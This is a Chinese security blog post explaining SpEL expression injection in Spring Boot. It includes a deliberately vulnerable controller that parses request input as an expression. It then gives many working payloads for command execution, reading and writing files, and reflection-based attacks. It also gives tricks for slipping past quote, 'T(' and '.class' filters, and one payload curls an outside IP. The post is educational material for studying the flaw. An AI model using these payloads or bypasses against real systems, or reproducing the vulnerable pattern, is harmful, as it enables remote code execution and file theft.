Java-Spel 注入

Spring表达式语言(简称SpEl)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。

Posted by BY Diego on May 16, 2020

一、 Stringboot 框架

Spring框架是Java平台上的一种开源应用框架,提供具有控制反转特性的容器。

①目录结构

Y6ESOA.png

主程序入口 /src/main/java/com.*/*Application

根目录:src/main/resources

  • 1.配置文件(.properties/.json等)置于config文件夹下 * 2.页面以及js/css/image等置于static文件夹下的各自文件下

SpringBoot项目大概分为四层:

  • (1)DAO层:包括XxxMapper.java(数据库访问接口类),XxxMapper.xml(数据库链接实现);(一般用Mapper,看个人习惯了吧)

  • (2)Bean层:也叫model层,模型层,entity层,实体层,就是数据库表的映射实体类,存放POJO对象;

  • (3)Service层:也叫服务层,业务层,包括XxxService.java(业务接口类),XxxServiceImpl.java(业务实现类);

  • (4)Web层:就是Controller层,实现与web前端的交互。

具体可考 https://blog.csdn.net/weixin_39593985/article/details/88851320

② Stringboot中注释器

  • @SpringBootApplication:包含了@ComponentScan、@Configuration和

  • @EnableAutoConfiguration 注解。其中@ComponentScan让spring Boot扫描到Configuration类并把它加入到程序上下文。

  • @Configuration 等同于spring的XML配置文件;使用Java代码可以检查类型安全。

  • @EnableAutoConfiguration 自动配置。@ComponentScan组件扫描,可自动发现和装配一些Bean。

  • @Component 可配合CommandLineRunner使用,在程序启动后执行一些基础任务。

  • @RestController 注解是@Controller和@ResponseBody的合集,表示这是个控制器bean,并且是将函数的返回值直 接填入HTTP响应体中,是REST风格的控制器。

  • @Autowired 自动导入。@PathVariable获取参数。

  • @ResponseBody:表示该方法的返回结果直接写入HTTP response body中,一般在异步获取数据时使用,用于构建RESTful的api。
  • @Controller:用于定义控制器类,在spring 项目中由控制器负责将用户发来的URL请求转发到对应的服务接口(service层),一般这个注解在类中,通常方法需要配合注解@RequestMapping。
  • @RestController:用于标注控制层组件(如struts中的action),@ResponseBody和@Controller的合集。

具体可考 https://zhuanlan.zhihu.com/p/88177443

二、 Spel 注入

① 基本用法

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
属性名称引用还可以用$符号 如:${someProperty}
使用T()运算符会调用类作用域的方法和常量。#{T(java.lang.Math)}

一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。

    //@Value能修饰成员变量和方法形参
    //#{}内就是表达式的内容
    @Value("#{表达式}")
    public String arg;

<bean>配置

<bean id="xxx" class="com.java.XXXXX.xx">
    <!-- 同@Value,#{}内是表达式的值,可放在property或constructor-arg内 -->
    <property name="arg" value="#{表达式}">
</bean>

Expression

@RequestMapping("/spel")
    public String TestSpel(HttpServletRequest request,HttpServletResponse response) throws IOException {

        String a = request.getParameter("a");
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(a);
        return expression.getValue().toString();
    }

② 注入

示例代码

@RequestMapping("/spel")
    public String TestSpel(HttpServletRequest request,HttpServletResponse response) throws IOException {

        String a = request.getParameter("a");
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(a);
        return expression.getValue().toString();
    }

Y6GMJH.png

(1)常规注入

执行命令

new java.lang.ProcessBuilder("calc").start()

Y6GQWd.png

T(java.lang.Runtime).getRuntime().exec("calc")

Y6GKFe.png

读文件 仅第一行

new java.util.Scanner(new java.io.File("filepath")).next()

Y6JlAU.png

new java.io.BufferedReader(new java.io.FileReader(new java.io.File("filepath"))).readLine()

Y6JM7T.png

写文件

new java.io.FileOutputStream(new java.io.File("filepath")).write("Diego".getBytes())

Y6J7gs.png 虽然报错了,但是文件正常写入

(2)利用java 反射机制

在反射⾥极为重要的⽅法:

  • 获取类的⽅法: forName
  • 实例化类对象的⽅法: newInstance
  • 获取函数的⽅法: getMethod
  • 执⾏函数的⽅法: invoke

java 获取class 的方式

  • 第一种:通过类名获得   Class<?> class = ClassName.class; Y6tRk8.png

  • 第二种:通过类名全路径获得:   Class<?> class = Class.forName(“类名全路径”); Y6tWtS.png

  • 第三种:通过实例对象获得:   Class<?> class = object.getClass() Y6tgTf.png

命令执行

利用runtime

T(java.lang.Runtime).getMethod("exec","".class).invoke(T(java.lang.Runtime).getMethod("getRuntime").invoke(T(java.lang.Runtime)),"calc.exe")

Y6wOSS.png

利用eval

T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder('calc').start();")

Y6wbJf.png

引号被过滤

new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

Y6rXhq.png

T( 被过滤

T%00(java.io.File)

tk4Fmj.png

1.class.forName("java.lang.Runtime").getMethod("exec","".class).invoke(1.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(1.class.forName("java.lang.Runtime")),"calc.exe")

.class.被过滤

1['class'].forName("java.lang.Runtime").getMethod("exec","".class).invoke(1['class'].forName("java.lang.Runtime").getMethod("getRuntime").invoke(1['class'].forName("java.lang.Runtime")),"calc.exe")

Y6wqW8.png

黑名单过滤.getClass、.class.、.addRole、.getPassword、.removeRole、session[‘class’] 利用数组方式绕过

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')

读文件 整个文件

1.class.forName("java.nio.file.Files").readAllLines(1.class.forName("java.nio.file.Paths").get("G:\\2.txt"))

Y60dtP.png

常规注入里基本都可转化为反射注入,这里不在列举 把常见的命令执行和文件读取转化为一句话即可

其他

获取类

T%00(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.io.File")

三、 参考

SpEL表达式总结

使用IDEA搭建一个简单的SpringBoot项目——详细过程

知识星球

JAVA表达式注入漏洞